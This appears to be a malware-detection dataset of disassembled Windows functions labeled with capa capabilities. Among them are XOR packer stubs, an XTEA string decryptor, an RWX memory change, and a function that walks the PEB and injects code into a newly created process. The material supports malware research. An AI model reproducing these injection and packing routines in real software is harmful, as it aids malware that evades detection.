joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42d6b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x42d6db
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x42d6ff
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x42d71a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20

Function at 0x430802
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x43083a
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00433986
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0043395e
jmp 0x430846
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4
Function at 0x43235d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x43239f
call fcn.00444066
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x43239f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x432396
xor eax, eax
jmp 0x4323a7
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004323ad
pop edi
pop esi
pop ebx
ret 4

Function at 0x433c10
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x433c32
cmp dword [edi + 0x3c], 0
jne 0x433c32
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.00444066
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.00433c5f
pop edi
pop esi
pop ebx
ret 8

Function at 0x433cad
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
call fcn.00444066
mov esi, dword [eax + 0xc]
push 5
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x433cde
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push esi
mov ecx, ebx
push dword [esp + 0x18]
push edi
call fcn.00433cf1
pop edi
pop esi
pop ebx
ret 8
Function at 0x433fe3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x449638
call fcn.0041d838
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.00444066
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x434022
call fcn.00444066
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x434030
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x43403e
or eax, 0xffffffff
jmp 0x434126
mov ecx, esi
call fcn.00433f59
mov dword [ebp - 0x14], eax
call fcn.00430351
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x434075
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x434075
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.00430305
push dword [ebp - 0x14]
call fcn.0042fe37
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.00433cf1
cmp eax, edi
je 0x4340e8
test byte [esi + 0x24], 0x10
je 0x4340b6
push 4
mov ecx, esi
pop ebx
call fcn.00432c0f
test ah, 1
je 0x4340ae
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.004325b4
cmp dword [esi + 0x1c], edi
je 0x4340e8
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.00432d24
jmp 0x4340e8
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x4340fc
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x434115
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x434115
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.00433f93
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x431003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43100c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
nop
mov ecx, 0x3ece191b
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
mov eax, section..reloc
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x19a6561d
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x10001bc0
Capabilities:
Access peb ldr_data
Create process on windows
Get kernel32 base address
Get process heap force flags
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x344
mov eax, dword [0x1000a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x2e4], edx
mov ebx, ecx
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov ecx, 0x1000a1ac
mov edi, eax
call fcn.10002860
mov ecx, 0x1000a170
call fcn.10002860
mov edx, eax
mov ecx, edi
call fcn.10001810
mov ecx, 0x1000a184
mov esi, eax
call fcn.10002860
push eax
push edi
call esi
mov ecx, 0x1000a120
call fcn.10002860
push eax
push edi
call esi
mov ecx, 0x1000a148
mov dword [ebp - 0x2e0], eax
call fcn.10002860
push eax
push edi
call esi
mov ecx, 0x1000a104
call fcn.10002860
push eax
push edi
call esi
mov ecx, 0x1000a198
mov dword [ebp - 0x2e8], eax
call fcn.10002860
push eax
push edi
call esi
mov ecx, 0x1000a04c
mov dword [ebp - 0x2dc], eax
call fcn.10002860
push eax
push edi
call esi
mov edi, eax
mov dword [ebp - 0x340], 0x44
lea eax, [ebp - 0x2f8]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x340]
movlpd qword [ebp - 0x33c], xmm0
push eax
push 0
push 0
push 0x44
push 0
push 0
push 0
mov ecx, 0x1000a074
movlpd qword [ebp - 0x334], xmm0
movlpd qword [ebp - 0x32c], xmm0
movlpd qword [ebp - 0x324], xmm0
movlpd qword [ebp - 0x31c], xmm0
movlpd qword [ebp - 0x314], xmm0
movlpd qword [ebp - 0x30c], xmm0
movlpd qword [ebp - 0x304], xmm0
call fcn.10002860
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10001d81
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10003
push eax
push dword [ebp - 0x2f4]
call dword [ebp - 0x2dc]
push 0x40
push 0x1000
push ebx
push 0
push dword [ebp - 0x2f8]
call dword [ebp - 0x2e0]
push 0
push ebx
push dword [ebp - 0x2e4]
mov esi, eax
push esi
push dword [ebp - 0x2f8]
call dword [ebp - 0x2e8]
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x220], esi
push eax
push dword [ebp - 0x2f4]
call edi
push dword [ebp - 0x2f4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x2f4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x2f8]
call esi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100038c6
mov esp, ebp
pop ebp
ret
Function at 0x10002860
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, ecx
mov al, byte [esi]
test al, al
je 0x10002975
push ebx
mov ebx, esi
inc esi
mov dword [ebp - 8], esi
push edi
movzx edi, al
cmp al, 0x80
jb 0x100028a8
and edi, 0x7f
mov ecx, 7
nop word [eax + eax]
mov dl, byte [esi]
inc esi
movzx eax, dl
and eax, 0x7f
shl eax, cl
add ecx, 7
or edi, eax
cmp dl, 0x80
jae 0x10002890
mov dword [ebp - 8], esi
mov eax, esi
xor ecx, ecx
sub eax, ebx
cmp ebx, esi
cmova eax, ecx
test eax, eax
je 0x100028c2
push eax
push ecx
push ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, edi
cdq
and edx, 7
lea ecx, [edx + eax]
xor eax, eax
sar ecx, 3
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jle 0x1000296c
nop
mov edi, dword [esi + eax*8]
lea ecx, [esi + eax*8]
lea eax, [eax*8 + 4]
mov dword [ebp - 0xc], ecx
add eax, esi
mov edx, 0xe3779b90
mov dword [ebp - 0x10], eax
mov esi, 0x10
mov ebx, dword [eax]
mov ecx, edi
mov eax, edi
shl eax, 4
shr ecx, 5
xor ecx, eax
mov eax, edx
shr eax, 0xb
add ecx, edi
and eax, 3
mov eax, dword [eax*4 + 0x1000a754]
add eax, edx
add edx, 0x61c88647
xor ecx, eax
sub ebx, ecx
mov ecx, ebx
mov eax, ebx
shl eax, 4
shr ecx, 5
xor ecx, eax
mov eax, edx
and eax, 3
add ecx, ebx
mov eax, dword [eax*4 + 0x1000a754]
add eax, edx
xor ecx, eax
sub edi, ecx
sub esi, 1
jne 0x10002901
mov eax, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov dword [eax], edi
mov eax, dword [ebp - 0x10]
mov dword [eax], ebx
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp eax, dword [ebp - 0x14]
jl 0x100028e0
pop edi
pop ebx
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
inc esi
cmp byte [esi], 0
je 0x10002975
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x401270
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x433008]
jne 0x40127a
repz ret
jmp fcn.00402118

Function at 0x413af8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00409a51
and dword [ebp - 4], 0
cmp dword [0x435d9c], 0
mov ebx, eax
jne 0x413ba9
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413c5a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x413c5a
push eax
call fcn.004099df
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x435d9c], eax
call esi
push eax
call fcn.004099df
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x435da0], eax
call esi
push eax
call fcn.004099df
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x435da4], eax
call esi
push eax
call fcn.004099df
pop ecx
mov dword [0x435dac], eax
test eax, eax
je 0x413ba9
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004099df
pop ecx
mov dword [0x435da8], eax
mov eax, dword [0x435da8]
cmp eax, ebx
je 0x413c01
cmp dword [0x435dac], ebx
je 0x413c01
push eax
call fcn.00409a5a
push dword [0x435dac]
mov esi, eax
call fcn.00409a5a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413c01
test edi, edi
je 0x413c01
call esi
test eax, eax
je 0x413bf8
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413bf8
test byte [ebp - 0xc], 1
jne 0x413c01
or dword [ebp + 0x10], 0x200000
jmp 0x413c3a
mov eax, dword [0x435da0]
cmp eax, ebx
je 0x413c3a
push eax
call fcn.00409a5a
pop ecx
test eax, eax
je 0x413c3a
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413c3a
mov eax, dword [0x435da4]
cmp eax, ebx
je 0x413c3a
push eax
call fcn.00409a5a
pop ecx
test eax, eax
je 0x413c3a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x435d9c]
call fcn.00409a5a
pop ecx
test eax, eax
je 0x413c5a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413c5c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x426940
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 8
mov dword [esp], 0x20
add dword [esp], 0x20
mov al, 0x65
mov byte [0x435e89], al
mov byte [0x435e8c], al
mov al, 0x6c
push 0x435e88
mov byte [0x435e88], 0x6b
mov byte [0x435e8a], 0x72
mov byte [0x435e8b], 0x6e
mov byte [0x435e8d], al
mov byte [0x435e8e], 0x33
mov byte [0x435e8f], 0x32
mov byte [0x435e90], 0x2e
mov byte [0x435e91], 0x64
mov byte [0x435e92], al
mov byte [0x435e93], al
mov byte [0x435e94], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x437678]
mov edx, dword [0x43638c]
lea eax, [esp + 4]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 8
ret
Function at 0x426ad0
Capabilities:
Get file attributes

Disassembly:
cmp dword [0x437678], 0x930
jne 0x426af0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push 0
push 0
call esi
push 0
push 0
call esi
pop esi
cmp dword [0x437678], 0x114e
mov eax, dword [esp + 4]
mov dword [0x43637c], eax
jne 0x426b10
push str.dimamehay
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
ret
Function at 0x408e5c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004056d6
and dword [ebp - 0x14], 0
cmp dword [0x411ca0], 0
mov dword [ebp - 0x18], eax
jne 0x408f0f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x408fb7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x408fb7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x411ca0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x411ca4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x411ca8], eax
call edi
push eax
call esi
mov dword [0x411cb0], eax
test eax, eax
je 0x408f0f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x411cac], eax
mov eax, dword [0x411cac]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x408f68
cmp dword [0x411cb0], ecx
je 0x408f68
push eax
call esi
push dword [0x411cb0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x408f68
test ebx, ebx
je 0x408f68
call edi
test eax, eax
je 0x408f5f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x408f5f
test byte [ebp - 8], 1
jne 0x408f68
or dword [ebp + 0x10], 0x200000
jmp 0x408f9b
mov eax, dword [0x411ca4]
cmp eax, dword [ebp - 0x18]
je 0x408f9b
push eax
call esi
test eax, eax
je 0x408f9b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x408f9b
mov eax, dword [0x411ca8]
cmp eax, dword [ebp - 0x18]
je 0x408f9b
push eax
call esi
test eax, eax
je 0x408f9b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x411ca0]
call esi
test eax, eax
je 0x408fb7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x408fb9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402d39
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x401a70
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x416fe8
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x41fea0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x28], 0
push eax
call fcn.00401940
push str.Language
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 0
push eax
call fcn.00401380
push str.English.ini
push eax
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 1
push eax
call fcn.00401380
add esp, 0x1c
mov edx, dword [ebp - 0x14]
or esi, 0xffffffff
add edx, 0xfffffff0
mov byte [ebp - 4], 3
mov eax, esi
lea ecx, [edx + 0xc]
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x401af7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x18]
mov ecx, esi
add edx, 0xfffffff0
mov byte [ebp - 4], 4
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x401b17
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp + 0xc]
push str.LANGUAGE
push 0x6a
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
test ebx, ebx
jne 0x401b42
mov ebx, dword [ebp + 8]
mov ecx, ebx
push 0x418268
call fcn.00401100
jmp 0x401c05
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401b62
mov ebx, dword [ebp + 8]
mov ecx, ebx
push 0x418268
call fcn.00401100
jmp 0x401c05
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x20], eax
test eax, eax
jne 0x401b84
mov ebx, dword [ebp + 8]
mov ecx, ebx
push 0x418268
call fcn.00401100
jmp 0x401c05
mov eax, dword [ebp - 0x10]
mov edx, 1
mov dword [ebp - 0x1c], 0
sub edx, dword [eax - 4]
mov ecx, dword [eax - 8]
or ecx, edx
jge 0x401baa
push 0
lea ecx, [ebp - 0x10]
call fcn.00402dc0
mov eax, dword [ebp - 0x10]
push 0
push 0x80
push 1
push 0
push 3
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x24], eax
cmp eax, 0xffffffff
je 0x401bee
push 0
lea eax, [ebp - 0x1c]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, dword [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
push eax
call fcn.004016a0
mov ebx, dword [ebp + 8]
add esp, 4
add eax, 0x10
mov dword [ebx], eax
mov edi, dword [ebp - 0x10]
add edi, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
lea eax, [edi + 0xc]
lock xadd dword [eax], esi
dec esi
test esi, esi
jg 0x401c26
mov ecx, dword [edi]
push edi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403050
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x403065
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4030a4
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x4030a0
lea ebx, [ebx]
cmp esi, edx
jae 0x4030a4
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec ecx
jne 0x403090
cmp esi, edx
jb 0x4030a9
xor eax, eax
pop esi
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop ebp
ret

Function at 0x403570
Capabilities:
Terminate process

Disassembly:
call dword [0x421948]
call fcn.00403350
push dword [0x421938]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x403598
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x421958]
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push dword [0x421954]
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
ret